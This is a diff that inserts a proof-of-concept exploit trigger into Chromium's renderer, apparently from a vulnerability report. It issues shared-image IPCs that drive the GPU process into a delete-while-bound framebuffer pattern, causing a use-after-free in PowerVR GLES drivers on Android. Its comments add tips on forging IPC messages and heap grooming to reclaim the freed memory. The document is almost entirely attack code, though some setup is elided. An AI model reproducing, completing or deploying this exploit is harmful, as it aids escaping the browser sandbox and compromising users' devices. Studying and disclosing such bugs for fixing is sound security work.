diff --git a/content/renderer/render_frame_impl.cc b/content/renderer/render_frame_impl.cc --- a/content/renderer/render_frame_impl.cc +++ b/content/renderer/render_frame_impl.cc @@ -0,0 +0,0 @@ +// === POC trigger (apply against an Android build, run on a PowerVR device) === +// +// This sketch shows the IPC sequence a compromised renderer would issue to +// reach GLTextureHolder::ReadbackToMemory in the GPU process and trigger the +// delete-while-bound FBO pattern. Insert into RenderFrameImpl::DidCommitNavigation +// (or any post-GpuChannel-init hook) and load any page. +// +// Reaches: +// SharedImageStub::OnCopyToGpuMemoryBuffer +// -> SharedImageFactory::CopyToGpuMemoryBuffer +// -> CompoundImageBacking::CopyToGpuMemoryBuffer +// -> SharedMemoryCopyStrategy::Copy +// -> GLTextureImageBacking::ReadbackToMemory (per-plane loop) +// -> GLTextureHolder::ReadbackToMemory (gen/bind/read/DELETE-while-bound) +// +// On a PowerVR/Imagination GLES driver (Android, native-GLES config), the +// second iteration of the loop / second IPC issues a raw glBindFramebufferEXT +// while the driver still holds a dangling internal reference to the FBO freed +// in the first iteration -> driver-internal UAF (workaround #471 territory). + +#include "components/viz/common/resources/shared_image_format.h" +#include "gpu/command_buffer/client/client_shared_image.h" +#include "gpu/command_buffer/client/shared_image_interface.h" +#include "gpu/command_buffer/common/shared_image_usage.h" +#include "gpu/ipc/client/client_shared_image_interface.h" +#include "third_party/blink/public/platform/platform.h" +#include "ui/gfx/buffer_types.h" +#include "ui/gfx/gpu_memory_buffer_handle.h" + +static void TriggerReadbackUaf(gpu::SharedImageInterface* sii) { + // Create a CompoundImageBacking: shared-memory GMB element + GL texture + // element. Multi-planar so GLTextureImageBacking::ReadbackToMemory loops + // and issues bind(fb2) immediately after delete(fb1) within a single IPC. + const gfx::Size kSize(64, 64); + const auto kFormat = viz::MultiPlaneFormat::kNV12; // 2 planes -> 2x ReadbackToMemory + + gfx::GpuMemoryBufferHandle gmb; + gmb.type = gfx::SHARED_MEMORY_BUFFER; + // ...allocate a base::UnsafeSharedMemoryRegion sized for kSize@NV12 and + // populate gmb.region / gmb.stride / gmb.offset / gmb.id... + + gpu::SharedImageInfo info( + kFormat, kSize, gfx::ColorSpace::CreateSRGB(), + gpu::SHARED_IMAGE_USAGE_CPU_WRITE_ONLY | + gpu::SHARED_IMAGE_USAGE_RASTER_READ | + gpu::SHARED_IMAGE_USAGE_RASTER_WRITE, + "poc-compound"); + auto image = sii->CreateSharedImage(info, std::move(gmb)); + CHECK(image); + + // Make the GPU element hold the latest content_id_ so CopyToGpuMemoryBuffer + // doesn't early-return at compound_image_backing.cc:1386. The cheapest way + // is an UpdateSharedImage (CPU->GPU upload) followed by a raster write; for + // a compromised-renderer model we could also flip the content id directly + // by sending a forged kUpdateSharedImage with no upload. + sii->UpdateSharedImage(gpu::SyncToken(), image->mailbox()); + + // Fire the readback. In the GPU process this enters the per-plane loop: + // plane 0: gen fb1 / bind fb1 / read / delete fb1 (still bound) + // plane 1: gen fb2 / bind fb2 <-- IMG driver dereferences freed fb1 state + for (int i = 0; i < 64; ++i) { + sii->CopyToGpuMemoryBuffer(gpu::SyncToken(), image->mailbox()); + // Interleave heap grooming: create/destroy other GL-backed SharedImages + // here to reclaim the freed driver allocation between plane 0 and plane 1. + } +}